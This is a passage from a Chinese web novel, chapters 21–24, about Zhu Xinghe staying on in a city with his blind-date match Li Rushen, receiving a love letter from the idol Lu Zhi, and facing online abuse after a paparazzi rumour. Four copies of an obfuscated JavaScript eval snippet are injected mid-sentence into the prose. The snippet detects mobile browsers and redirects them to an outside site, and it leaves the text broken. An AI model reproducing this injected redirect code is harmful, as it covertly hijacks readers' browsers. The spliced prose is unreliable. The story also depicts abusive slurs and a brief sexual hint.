“低枕。”学乐器的人通常颈椎都不太好,祝星禾也不例外,睡低枕会让颈椎更舒服。 李如深从衣柜里找出一只低枕,替换了床上的高枕,又带着祝星禾去了对面的卫生间,从壁挂上取下一套牙刷和漱口杯,告诉他是新的,又跟他说哪瓶是洗发水哪瓶是沐浴露。 祝星禾渐渐觉得不对劲。 拖鞋是新的,睡衣是新的,洗漱用品也是新的,就连床单被罩都是新换的,就好像李如深知道他今天会在这里过夜,所以提前准备好了一切。 但这怎么可能呢,李如深又没有预知未来的能力,一定是他多想了。 “如果还有别的需要,就去主卧找我,”李如深说,“我一时半会儿应该睡不着。” 祝星禾想了想:“我需要一个充电器。” 李如深说:“我这就去拿。” 李如深出去了,祝星禾关上了卫生间的门,犹豫了下,还是把门反锁了。 他快速洗完澡,穿着松松垮垮的睡衣从卫生间出来,只有对面的客房亮着灯,目光穿过昏暗的客厅,看到主卧敞着门,于是鸟悄地走进客房,关门,反锁。 祝星禾筋疲力尽地坐在床边,看到床头柜上放着充电器,还有一杯牛奶和一瓶水。 奇怪,李如深怎么知道他喜欢睡前喝杯牛奶? 祝星禾伸手拿起杯子,杯壁尚有余温,他莞尔一笑,小口小口地喝起来。 21.另类21 另类21 临睡前祝星禾还想着,睡两三个小时就起来,看看李如深烧退了没有,他怕吵到李如深,就没设闹钟。 他认床,而且只要心里惦记着什么事就很难睡得沉,谁成想这回一睡着就跟昏迷了似的,睡得不省人事。 等他迷迷糊糊醒来,房间里还黑着,他以为天还没亮,摸到手机看看时间,11:49,心想肯定是看错了,揉揉眼睛,定睛再看,11:50! 完蛋了!肯定赶不上飞机了! 祝星禾手忙脚乱地下床,穿上拖鞋,踢踢踏踏地走到门口,转动把手,门却没开,又使劲转了两下才想起来他把门反锁了。 开门的动静引来了李如深,当房门打开时,李如深刚好走到门口,含着一点笑意说:“你醒了。” 祝星禾眯眼看着近在咫尺的男人,蓦地怔了怔。 李如深穿着宽松的白T和长裤,腰上系着一条围裙,洋溢着居家好男人的感觉;他的头发未经打理,顺毛的减龄效果十分明显,一下子就让他从高不可攀的霸道总裁变成了青春男大,因为年龄和身份所造成的距离感顿时消减了大半——这种寻常模样反而比他衣冠楚楚的样子更加迷人,人夫感和少年感兼具,仿佛触手可及。 但现在不是发花痴的时候,祝星禾醒醒神,着急地问:“从这里到机场——不对,从这里到我住的酒店,再从酒店到机场需要多久?” 李如深的表情变得严肃:“你今天要坐飞机回西城?” 祝星禾用力点头:“下午两点的机票。” 李如深看了看那块价值几十万的手表,有条不紊地说:“现在马上十二点了,从这里到酒店大约半小时,从酒店到机场大约一小时,再加上你收拾行李的时间、路上堵车的时间、办理登机手续的时间,两个小时是绝对不够用的,你赶不上这趟飞机了。”顿了顿,李如深补充一句:“抱歉,我不知道你今天要飞西城,否则我会早点叫醒你。” 祝星禾摆摆手:“跟你没关系,是我睡得太死了。” 他确实没跟李如深说过今天要返程,只和Flow提过一嘴。 “你经常来星城出差,应该比较了解,”祝星禾边说边回房间拿手机,“我现在改签的话,今天还有合适的航班吗?” 李如深没急着回答,等祝星禾回到他面前,他才开口:“你一定要今天回去吗?” 祝星禾被问住了,他猜李如深应该还有话说,就没作声。 果然,李如深接着说:“你第一次来星城,只是走马观花地玩了半天就回去了,不觉得可惜吗?不如留在这里多玩两天,我可以给你当向导,也可以帮你拍照,就当作你昨晚照顾我的报答,等31号我们再一起回西城,也不耽误你开学,你觉得怎么样?” 祝星禾很惭愧,他昨晚睡得太死,根本没照顾李如深什么,反倒是李如深在KTV帮了他大忙,要报答也是他报答李如深才对。 他回西城也没什么事,确实不如留在这里多玩两天,李如深的拍照技术也非常诱人,可是……他昨天才跟Flow说要离李如深远远的,今天就同意和李如深一起游玩,岂不是光速打脸? 李如深再次看了看表:“离十二点还有五分钟,如果你在五分钟之内改签,可以节省10%的手续费。小禾,多留两天吧,好吗?” 每当李如深用这种低柔的嗓音唤他“小禾”时,祝星禾就会心跳漏一拍,他看着李如深英俊的脸庞和期待的眼神,实在不忍心让他失望。没时间犹豫了,他把心一横,点头答应:“好,那就改签31号下午两点的航班。” 李如深微微一笑:“那你尽快改签,然后就可以洗漱吃饭了,我煮了鸡蛋粥。” 祝星禾更愧疚了,说好今天他给李如深煮粥的,现在却变成了李如深给他煮粥,而且李如深还是病人。 他真该死啊。 虽然机票是任师姐订的,但改签他自己就可以在APP上操作,他抢在12点之前完成,但还是支付了10%的手续费,要是过了12点就是20%的手续费了。 行程变了,应该第一时间向祝女士报备,祝星禾点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14099874|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开微信,发现聊天列表里只有路直给他发了几条信息,就觉得不太对劲。 按理说祝女士早就该给他打电话问他去机场了没有,可祝女士今天既没给他打过电话也没发过信息,这不是祝女士的作风。 难道是店里太忙了吗? 祝星禾打了语音电话过去,那边很快就接了,但响起的却是纪灵慧的声音。 纪灵慧说,她去ROOM找祝女士一起吃午饭,但店里客人太多,祝女士忙得脚打后脑勺,没时间接电话。 祝星禾把他改变行程的原委说了,纪灵慧说她会转告祝女士,挂了电话之后给他转了五千块钱,让他随便花。 谢完纪灵慧,祝星禾查看路直发来的信息。 路直:[祝星禾,你跟谁走了?你现在是安全的吗?] 路直:[你在酒店吗?可以见个面吗?我有话跟你说。] 路直:[我走了,谢谢你昨晚陪我过生日。] 第一条是凌晨两点多发的,第二条是早上八点多发的,第三条则是半小时前发的。 祝星禾有些过意不去,他昨晚没跟路直说一声就提前走了,根本没帮路直好好庆祝生日,甚至连份礼物都没送,真是一塌糊涂。 祝星禾想了好一会儿,回复路直。 祝星禾:[不好意思,我刚睡醒,才看到你的信息。] 祝星禾:[昨晚我跟一个朋友走了,他生病了,我留下来照顾他,就没回酒店。] 祝星禾:[你方便留个地址给我吗?等回西城之后,我给你寄份生日礼物。] 祝星禾:[路直,再次祝你生日快乐/蛋糕/烟花] 发完他就去卫生间洗漱了。 一照镜子,祝星禾差点疯了。 天呐,他竟然顶着这个乱糟糟的鸡窝头和李如深说了那么久的话! 他的形象全毁了啊啊啊! 正准备洗头,搁在洗手台上的手机响了一声,祝星禾垂眼,看到了路直的名字和一句开头:[祝星禾,这是一封迟到三年的情书……] 22.另类22 另类22 祝星禾,这是一封迟到三年的情书。 我本来想在昨晚送你回酒店之后当面跟你说,但你一个人先走了,今天早上我也没能见到你,只好通过文字的形式发给你。 祝星禾,我喜欢过你,直到现在也很喜欢你。 高一开学那天,你从我的课桌旁走过,我看向你,你也看向我,你冲我轻轻一笑,从此你就住进了我心里。 班主任第一次点名的时候,我知道了你的名字。 祝星禾。 起初我只是觉得这个名字很好听,后来慢慢了解你,我才知道这个名字跟你有多相配,你就像天上的星星一样熠熠生辉,也像田野中的禾苗,看似脆弱却有着旺盛的生命力。 你是名列前茅的好学生,我是吊车尾的差生,成绩决定座位,所以我们总是离得很远,不能自然而然地产生交集,我猜你当时连我叫什么名字都不知道。 我只能隔着半个教室偷偷地观察你。 你是我见过的最文静的男孩子,你永远安安静静地沉浸在自己的世界里,我从来没见过你和谁说笑打闹,你不是在学习就是在看课外书,你喜欢红楼梦和张爱玲,翻来覆去看了很多遍。我也试着去看过,可我一看文言文就犯困,至今还停留在开篇。 你从来不用教学楼的厕所,你会在大课间的时候下五楼,穿过篮球场和田径场,用看台旁边的厕所,再原路返回。 我知道你为什么要舍近求远,因为那些低级的男生会在你上厕所的时候用下流的目光窥视你,用肮脏的语言嘲笑你、羞辱你,甚至对你动手动脚。 我知道你一直在遭受霸凌,班级里的所有人都知道,可是大家不约而同地装聋作哑,包括老师们,因为霸凌你的那个人家里有钱,给学校捐了一栋教学楼,连校长见到他都要赔着笑脸。 幸好还有纪松沉,他像个无所畏惧的英雄一样保护着你,他用以暴制暴的方式吓退了那些霸凌者,让他们再也不敢欺负你。 我羡慕纪松沉能够成为你唯一的朋友,你只对他笑,你只和他勾肩搭背形影不离,你只会坐在他的电动车后座上,还会搂住他的腰。 纪松沉是我在这个世界上最羡慕的人,但我并不嫉妒,因为我没有资格。我没有在那些人欺负你的时候勇敢地站出来保护你,我甚至不敢走到你的座位旁边和你搭话,我不敢让人发现我的目光总是在你身上停留,我怕别人看出来我喜欢你,我怕别人说我是同性恋……我不想成为别人眼中的异类,我是个懦弱的胆小鬼。 纪松沉好像什么都不怕,他不怕流言蜚语,也不怕那些异样的眼光,永远坚定地陪在你身边。同学们都说你们俩在谈恋爱,一开始我拒绝相信,可是看久了你们亲密无间的样子,我也信以为真。我一边觉得只有纪松沉这样英勇无畏的男生才配得上你,一边又阴暗地幻想着你们在老师和家长的激烈反对下惨淡分手,然后我就可以趁虚而入。然而幻想终究只是幻想,我还是自虐般关注着你们,像个变态的偷窥狂。 我和你唯一一次产生交集,是在丁桥的生日聚会上。 那天的一切我都记得很清楚,因为那是我离你最近的一次,我的心一直在狂跳,偏偏还要装出云淡风轻的模样。你就坐在我的旁边,只要我把腿稍微岔开一点就可以碰到你的腿,但是我不敢,我只是贪婪地汲取着你的气息,你的洗发水香气萦绕在我的记忆里,直到现在都挥之不去。 那天我唱了周杰伦的《东风破》,是专门为你而唱的,副歌那几句歌词,简直就像是为我而写的。 “谁在用琵琶弹奏一曲东风破, 岁月在墙上剥落看见小时候, 犹记得那年我们都还很年幼, 而如今琴声幽幽我的等候你没听过。” 后来我去参加选秀,在初舞台评级的时候也唱了这首歌,当时我的脑子里想的全是你,唱得前所未有的好,让我拿到了A等级,节目播出后也为我带来了超乎想象的人气。 如果没有这首歌,我的选秀之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14112145|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路不可能走得那么顺畅,这里面有你一份功劳。我由衷地感谢你,让我有一段那么刻骨铭心的初恋,虽然从头到尾都是我一个人的独角戏。 昨天在演播厅和你偶遇,我既意外又惊喜。 时隔两年,你已经不是过去的你,我也不是过去的我,但我的心还是会为你剧烈地跳动。 我厚着脸皮加了你的微信,厚着脸皮邀请你陪我过生日,我知道我这么做很唐突,但我不得不做,因为我不知道下次遇见你会是什么时候,我也不知道下次遇见你的时候我还会不会为你怦然心动,我想趁着这份感情还在,把它说给你听,或许这样我就能释怀了吧。 我把这份隐秘的感情告诉你,并不是为了和你发生点什么,如今的我依旧不配得到你的喜欢。 我现在只是个还没站稳脚跟的小爱豆,离开粉丝的支持我什么都不是,这个时候谈恋爱无异于自毁前程。人不能既要又要,只要我还想吃这碗饭,就只能一直躲在柜子里,这是我必须付出的代价。 内娱允许同性恋的存在,但绝对不能舞到明面上来。虽然那些腐女嗑我和盛骄阳的CP嗑得飞起,但如果她们发现我真的喜欢同性,十有八-九会脱粉回踩,把我踩进尘埃里。哪怕是在更加开放多元的欧美,演员一旦出柜,事业也会一落千丈,只能出演一些边缘角色。 只有当我取得一定成就,拥有了话语权,即使没有粉丝带给我的流量我也能得到我想要的资源,我才能结束伪装,做回真正的自己,我将为此不懈奋斗。 祝星禾,我写这封情书只是想让你知道,有个人曾经卑微又热烈地喜欢过你。 不论是过去的你还是现在的你,在我眼里都闪闪发光,你真的特别特别好,你不用为了迎合这个世界而做出改变,总有人会喜欢最真实的你,坚持做你自己就好。 Be yourself, be different。 祝星禾,愿你永远美好而灿烂。 ——偷偷喜欢你的路直。 23.另类23 另类23 看到最后,祝星禾流下了眼泪。 不是因为有人在他最自卑的时候暗恋过他,而是那句“你不用为了迎合这个世界而做出改变,总有人会喜欢最真实的你,坚持做你自己就好”触动了他的心,他一直就是这么想也是这么做的。 然而“坚持做自己”并不是随便喊喊口号那么简单,这是一件很难很难的事,幸好他的家人都在支持和帮助他——祝女士为了让他自由生长,冒着生命危险才让庄承同意离婚,之后又抛下父母、朋友、工作,带着他远赴西城,一切从头来过;纪松沉为了让他摆脱校园霸凌,不知打了多少架、受了多少伤,不管对方家里多有钱有势都不放在眼里,而纪松沉之所以敢这么肆无忌惮,是因为纪灵慧在背后给他撑腰,纪灵慧以法律为武器,不管纪松沉捅出多大的篓子她都能摆平——他何其有幸,能够拥有如此爱他护他的家人,如果没有他们,他的命运或许会像那个“玫瑰少年”①一样,早早凋零。 正是想到这些,祝星禾才会潸然泪下。 祝星禾放下手机,先洗漱,洗漱完想换衣服,却发现昨晚挂在架子上的T恤和短裤不见了,开门出去,问李如深:“你看见我的衣服了吗?” “在洗衣机里。”李如深把碗放在餐桌上,“你先过来吃饭。” 祝星禾乖乖走过去,看着桌上卖相极佳的鸡蛋粥、烤吐司、煎培根和炒芦笋,不敢置信地问:“这些都是你做的吗?” 李如深“嗯”了一声,说:“之前在英国留学的时候,我经常自己做饭,但也只会做些简单的,太复杂的不会。” 祝星禾笑着说:“已经很厉害了。” 他还以为李如深是那种十指不沾阳春水的大少爷,连油盐酱醋都分不清呢。 餐桌挨着落地窗,窗外就是绝美江景。 两个人相对而坐,金色阳光笼罩着他们,但一点都不觉得热,因为空调开得很足,就像坐在冬日暖阳里,晒得人懒洋洋的。 祝星禾先尝了鸡蛋粥,粥里还放了菜末和虾仁,软糯鲜香,真的很好喝,又尝了培根和芦笋,味道都不错,没有翻车的。 虽然很饿,但祝星禾吃相斯文,边吃边问:“你退烧了吗?” 李如深说:“半小时前刚量过,37度7,转低烧了。” 他的声音还是有点哑,但不像昨天那么嘶哑,听起来就好多了。祝星禾不好意思看他,低眉顺眼地说:“等吃完饭再吃两粒布洛芬,应该就会好了。”想起来他是来星城出差的,又问:“你今天有工作吗?” “工作已经处理完了,接下来都是自由时间。” “那你今天就在家好好休息吧,等你彻底好了我们再出去玩。” “那你呢?”李如深看着他,“你想出去玩,还是留在这里陪我?” “……”丢下病人出去玩显得他很没良心,但他也绝对不想留在这里,他们两个又不熟,李如深又是那种话特别少的人,用脚趾头也能想到他们待在一起会有多尴尬,简直是I人地狱。 “我……我要回酒店。”祝星禾跳出李如深提供的两个选项,“我的Vlog还没剪完。” 虽然李如深不想放他走,但也知道不能把他逼得太紧,应该张弛有度,于是说:“好,吃完饭我送你。” “不用了,”祝星禾忙说,“我想去坐公交,还可以顺便浏览城市风光。” 李如深顿了顿,低低地应了声“好”,祝星禾从中听出一点失落,抬眼看过去,又匆匆垂下眼帘,因为李如深英俊得让他不敢多看,所谓“神颜”不外如此了。 静了一会儿,李如深问:“你有哮喘吗?” “不是哮喘,”祝星禾说,“是呼吸过度,又叫呼吸性碱中毒,只有极度紧张或者害怕的时候才会发作。” 李如深又问:“发作的频繁吗?是生理原因还是心理原因引起的?有没有治愈的可能?” 祝星禾刻意忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14132688|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略了后面两个问题,只回答第一个:“不频繁的,上次发作还是一年前,而且通常不会像昨晚那么严重,我自己就能调节过来。” 他没有继续说下去,李如深也就不再问了,打算咨询专业人士。 祝星禾瞄他一眼,问:“你怎么不问我昨晚在洗手间里发生了什么?” 李如深淡声道:“我不想知道。” 祝星禾的大脑把这个回答自动转换成了“我不关心”,虽然这很正常,但他心里多少有点失望。 李如深紧接着道:“如果我知道了,我怕我会忍不住做出一些违法乱纪的事。” 祝星禾怔了几秒才领会这句话的意思,顿时心花怒放,他怕李如深发现,使劲低着头,几乎要把脸埋进碗里去。 李如深看着他的一举一动,无声地笑了笑。 吃完饭,祝星禾要洗碗,李如深说待会儿会有阿姨来洗,他也就没坚持。 “我的衣服洗好了吗?” “还在洗,你先穿我的衣服。” 李如深回卧室找了一件T恤和一条运动短裤,交给祝星禾,祝星禾拿着去了客房,展开T恤一看,正面的印花是一只玩毛线球的猫,这么可爱的风格,实在不像李如深会穿的衣服。 “我走啦。”换好衣服,祝星禾向李如深告辞,“你别忘了吃药,如果再烧起来的话,一定要去医院。” “好。”李如深把他送到电梯口,看着电梯门关上,又看着楼层数字从“25”到“1”,才回到家里。 进了客房,把门一关,房间里霎时一片昏暗,窗帘的遮光效果实在太好。 李如深脱鞋上床,侧身躺着,把脸埋进枕头里,深呼吸,都是熟悉的味道,因为祝星禾用的是他的洗发水和沐浴露。 祝星禾穿过的睡衣就在床边放着,李如深伸手拿过来,捧到鼻端闻了闻,明显沾-染着祝星禾的体-息。 他把睡衣盖在脸上,一只手伸进了褲子里…… 24.另类24 另类24 从小区出来,祝星禾原本是想回酒店的,往公交车站的方向走着走着,想到丰盈西街就在附近,不禁犹豫起来——上次过来吃了顿饭就走了,怪可惜的,不如趁着今天去逛一逛,反正Vlog也不急着剪。 打定主意后,他在高德地图里更改了目的地,跟着导航往丰盈西街走,不到十分钟就到了。 工作日的下午,人没那么多,有几个女孩子在跟阮郁的海报墙合照,但用不着排队了。 祝星禾拐进了街口的一家咖啡店,看到菜单上有李如深给他买过的开心果抹茶,就点了一杯,扫码付账之后去靠窗的位置坐等,忽然想到还没回复路直的“情书”,就点开了微信。 其实也没什么好回复的,那些过去的都过去了,未来他和路直大概也不会再有交集,于是非常简短且客套地回了一句:[祝你早日实现理想,Fighting!] 退回主界面,又从置顶聊天里点了下纪松沉的头像,纪松沉在他吃饭的时候给他发了两条微信。 纪松沉:[星城到底有谁在啊?都把你勾得乐不思蜀了。] 纪松沉:[出去玩儿不带我,你的良心不会痛吗?] 祝星禾:[………………] 祝星禾:[我叫你了,是你自己不来!] 纪松沉:[我那不是还没睡醒吗,你就不能多叫两次吗?] 祝星禾:[/敲打/敲打/敲打/敲打/敲打] 纪松沉:[听说你在星城偶遇了相亲男,有没有发生什么故事?] 祝星禾:[没有,只是一起吃了顿饭而已。] 纪松沉对他的保护欲太强了,如果让纪松沉知道他昨天经历了什么,说不定会立刻打飞的来星城找他,所以他撒了谎。 纪松沉:[老男人段位高,想玩你还不是手拿把掐的事儿,你最好离他远点,别给他可乘之机。] 祝星禾:[人家才27,怎么就老男人了?] 祝星禾:[而且他只谈过两段恋爱,不是那种很乱的人。] 纪松沉:[他说什么你都信?] 纪松沉:[还没怎么着呢胳膊肘就开始往外拐了是吧?] 祝星禾:[……] 正是因为纪松沉对他的保护欲过于旺盛,才导致他直到现在都没谈过恋爱。 虽然娘娘腔在Gay圈不受待见,但颜值可以弥补一切不足,不论是在现实里还是网络上他都不乏追求者,只是那些追求者都由于这样或那样的原因被纪松沉PASS掉了。 他的好闺蜜梁姵琪曾经辣评:“你把纪松沉当哥哥,纪松沉却想给你当爹,他就像个唯恐孩子受到一丁点伤害的老父亲,为你操碎了心。” 纪松沉:[你最近又是相亲又是跟我要小-黄-片,你是不是……进入发-情-期了?] 纪松沉:[现在也不是春天啊。] 祝星禾:[我不是!我没有!] 祝星禾:[你以为谁都跟你似的性慾那么强/翻白眼] 纪松沉:[运动员荷尔蒙分泌旺盛,普遍性慾都很强,比如那谁、那谁跟那谁,我又不是特例。] 纪松沉:[我想跟你说的是,别急着破-处。] 纪松沉:[只有欧美那边才有Virgin Shaming,在咱们这儿,贞洁是男人最好的嫁妆,像我这种烂黄瓜才是应该被歧视的,我是长在双洁党雷点上的男人。] 祝星禾:[你好像很骄傲的样子……] 纪松沉:[那倒没有/害羞] 祝星禾:[打你的游戏去吧,别跟我这儿胡说八道了。] 纪松沉:[你31号下午回来是吧?] 祝星禾:[嗯。] 纪松沉:[飞机几点落地?] 祝星禾:[五点多。] 祝星禾:[你要来接我吗?] 纪松沉:[你直接从机场去学校那边的家吧,省得来回折腾了,我会帮你把东西收拾好带过去。] 祝星禾:[/OK] 祝星禾:[别忘了把我的小摩托骑过去。] 纪松沉:[知道了,玩你的吧。] 祝星禾:[比心.jpg] 聊天到此为止,祝星禾又从微信转到微博,浏览了@阮郁后援会official 的主页,9月3号品牌活动的门票获取方式还没公布,他就把微博关了——他现在全身上下只有一个手机和一张房卡,手机要没电了就啥都干不成了,必须节约用电。 等饮料做好,祝星禾从咖啡店出来,开始一家店接一家店地逛起来。 Flow说得没错,这里的小店特别好逛,尤其是几家文创店和杂货店,一进去就出不来,看这个也喜欢看那个也想买,花钱如流水。 两个小时后,祝星禾拎着大包小包坐上了网约车。 回到酒店先洗澡,洗到一半,放在外面充电的手机开始响,响第一遍、第二遍的时候他没理,直到响第三遍他才裹着浴巾出来,看到来电显示是纪松沉,心猛地一沉,第一反应是家里出了什么事,否则纪松沉不会夺命连环Call。 他点了接听,还没把手机放到耳边就听见纪松沉在那边扯着嗓子喊:“你上热搜了!” “……”祝星禾愣了两秒,“啊?” “你和路直被狗仔偷拍了,狗仔把你当成了女生,现在‘路直恋情曝光’高居热搜第一,你的微博和抖音都被扒出来了。”纪松沉顿了顿,又说:“你暂时先别刷微博和抖音了,最好直接卸载了,那些粉丝不分青红皂白就骂人,骂得挺难听的。” 祝星禾混过粉圈,粉丝在爱豆被爆恋情的时候会有哪些操作他再清楚不过,他满不在乎地说:“喔喔,知道了,我正洗澡呢,等我洗完澡再说。” “你怎么没跟我说……”纪松沉还没说完祝星禾就把电话挂了,又给手机调了静音,返回卫生间继续洗澡。 不多时,祝星禾光着身子从卫生间出来,换上睡衣,今天不打算再出门了。 查看手机,有两通未接来电,来自路直,还有两条未读消息,也来自路直。 路直:[对不起,连累你一起上了热搜,我的工作室和心电音节目组已经联合辟谣了,这件事很快就会平息下去。] 路直:[肯定会有不理智的粉丝去你的账号底下留言,如果他们说了什么不好的话,我替他们向你道歉。] 祝星禾问:[有什么我能帮到你的吗?] 路直很快回复:[你什么都不用做。] 祝星禾:[好的。] 路直:[真的很抱歉,给你添麻烦了。] 祝星禾:[没关系,我不在意的。] 祝星禾是真的不在意,他已经过了会被那些恶评刺伤的阶段。 去年抖音粉丝刚开始暴涨的时候,他很不理解,明明他没招谁也没惹谁,为什么那些人要发评论和私信辱骂他,后来他想通了,那些人既不对人也不对事,他们单纯就是为了释放恶意,他们以伤害别人为乐,别人越痛苦他们就越快乐,他们是一群“生活中唯唯诺诺,网络上重拳出击”的Loser,跟这种人一般见识简直是浪费生命,删评拉黑就完事了。 祝星禾点开抖音,在最新发布那条视频的评论区逛了逛,果然出现了很多不和谐的评论。 [死娘炮,离我家路直远点,别来沾边!] [不男不女的玩意儿,恶心死了/吐/吐/吐] [硅胶脸,一看就是照着某个女明星整的。] [就这货色还有五十几万粉丝呢?求求你们吃点好的吧。] [呔,人妖!吃俺老孙一棒!] …… 太多了,根本删不完,祝星禾懒得理会,点开消息列表,发现Flow给他发了几条消息。 Flow:[图片] Flow:[图片] Flow:[看到你上热搜了。] Flow:[图片] 图一是一只脸颊鼓鼓的花栗鼠,它站在挂满浆果的树枝上,两只前爪捧着一颗红丢丢的果子。 图二还是那只花栗鼠,它被浆果酸到流口水,和人类吃柠檬的表情一毛一样,超级可爱。 图三是祝星禾和路直从酒店出来的高清照片,狗仔把祝星禾的脸拍得清清楚楚,自然垂落的刘海快要遮住眼睛,真的很像一个留着妹妹头的小女孩,狗仔会认错也情有可原。 祝星禾把Flow丢过来的“鹅卵石”收藏好,然后回复他。 小禾不是花:[是个乌龙,已经辟谣了。] Flow:[你现在不是应该在回西城的飞机上吗?] 小禾不是花:[我还在星城,打算31号再回去。] Flow:[不是说自己玩儿没意思,怎么又改主意了?] 小禾不是花:[我听了你的建议,决定让那个相亲对象陪我,反正就两天,我相信我能守住我的心,绝不沦陷/达咩] Flow:[他对你的吸引力有这么强吗?] 小禾不是花:[刚知道他抽烟的时候,我对他祛魅了一段时间,可是等我在星城再次见到他,他还是会让我小鹿乱撞,我都不好意思直视他。] 小禾不是花:[只要他不当着我的面抽烟,他就是我的梦中情攻,明知道跟他没可能但我还是会忍不住被他吸引,我也很无奈啊/躺平] Flow:[梦中情攻?] Flow:[哦,懂了,他是你的理想型。] Flow:[可是你还不了解他的性格,你就不怕他是个徒有其表的衣-冠禽-兽、斯文败类?] 小禾不是花:[他不是。] 小禾不是花:[因为过去的一些经历,我很擅长分辨善意和恶意,除非那个人特别善于伪装。] 小禾不是花:[虽然他性格偏冷,但我能从微小的细节中感觉到他其实是个外硬内软的人。] Flow:[比如说?] 打字的话要打好长一段,祝星禾清清嗓子,录了一段语音发过去:“相亲那天晚上我被一只流浪猫抓伤了,他带我去买药,小心翼翼地给我擦药,生怕弄-疼-我。第二天在星城偶遇,他发现我没有换药,就买了药送到酒店,擦药的时候还对着伤口轻轻吹气,那一刻我狠狠地心动了,从小到大只有我妈妈对我这么做过。还有……” Flow:[还有什么?] 小禾不是花:[没什么,反正他虽然不是我期望中的暖男,但包裹在高冷外表下的小温柔也很打动人。] Flow:[所以你喜欢暖男?] 小禾不是花:[嗯嗯。] 小禾不是花:[我喜欢对所有人都很好的“中央空调”,而不是只暖我一个,对其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14151424|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人却很坏的那种人。] Flow:[我以为“中央空调”是个贬义词。] 小禾不是花:[在我这儿是褒义词。] Flow:[如果你的男朋友对别人和对你一样好,你不会吃醋吗?] 小禾不是花:[不会。] 小禾不是花:[因为我知道,他的喜欢和爱只给我一个人呀。] Flow:[你就不担心他爱上别人?] 小禾不是花:[不担心。] 小禾不是花:[担心也没用啊。] 小禾不是花:[《花束般的恋爱》里说:相遇总是伴随着别离,恋爱就像派对,总有一天会结束。] 小禾不是花:[据说爱情的保质期只有18到30个月,要求一个人一辈子不变心本来就是反人性和不切实际的,爱的时候拼尽全力去爱,不爱的时候果断放手,用道德和责任去绑住一个人毫无意义,那样对彼此都是一种折磨。] Flow:[没想到你的想法这么成熟,我要对你刮目相看了。] 小禾不是花:[哈哈哈!] 小禾不是花:[不过是纸上谈兵罢了,我现在只是个还没开始初恋的小菜鸟,谁知道当我亲身经历的时候又会是什么样呢。] Flow:[我有预感,你的初恋就快来临了。] 小禾不是花:[借你吉言/憨笑] Flow这句话明显意有所指,可祝星禾拿不准,Flow指的是自己还是李如深,抑或是正挂在热搜上的“绯闻男友”路直? 虽然他对Flow和李如深都已经表明过态度,但还是莫名地有种脚踏两条船的心虚感。 Flow突然没动静了,祝星禾捧着手机等了一会儿,Flow又出现了。 Flow:[既然已经辟谣了,为什么那些粉丝还在骂你?] 小禾不是花:[因为网络暴力不用付出任何代价。] 小禾不是花:[随他们去吧,我不看就是了,你也别看。] Flow:[投诉恶评的话平台多久会处理?] 小禾不是花:[好像是七个工作日吧。] 小禾不是花:[你别管了,没必要浪费眼神,等热度过去他们自然就消失了。] 小禾不是花:[我这几天不上抖音了,我们要不要加一下微信?] Flow:[好。] Flow:[我的微信号:Onlytheriverflow1216] 祝星禾复制了微信号,切到微信,添加好友,对方几乎立刻就通过了好友验证。 Flow的微信昵称是Leo,应该是他的英文名,祝星禾就用这个当开场白。 祝星禾:[Leo是你的英文名吗?] Leo:[对。] Leo:[你的英文名是什么?] 祝星禾:[我没取过英文名,但我闺蜜偶尔会叫我乔治。] Leo:[为什么?] 祝星禾:[我闺蜜叫梁姵琪,和《小猪佩奇》里那只粉红小猪同音不同字,她是“佩奇”,那我就是佩奇的弟弟乔治。] Leo:[很可爱。] 看惯了Flow,看Leo就不太顺眼,祝星禾进入设置页面,把备注改成Flow,顿时舒服多了。 Flow:[我待会儿要发一条抖音,你一定要看。] 祝星禾:[好,我会帮你点赞。] 祝星禾有些意外,他和Flow互关了这么久,Flow只发过两条短视频,一条是新疆阿勒泰的美景,另一条是裸着上身抱着小猫的美色,祝星禾用了很久的那张聊天背景就是从这条擦边视频截取的。 起身去喝口水的功夫,手机响起提示音,祝星禾急忙走回去,拿起手机,屏幕显示: Flowinthedeep[你的关注] 发了视频:泪是最小的河,爱是最坚固的桥。 祝星禾即刻有了预感,一边想着不会吧不会吧,一边满心期待地点进去。 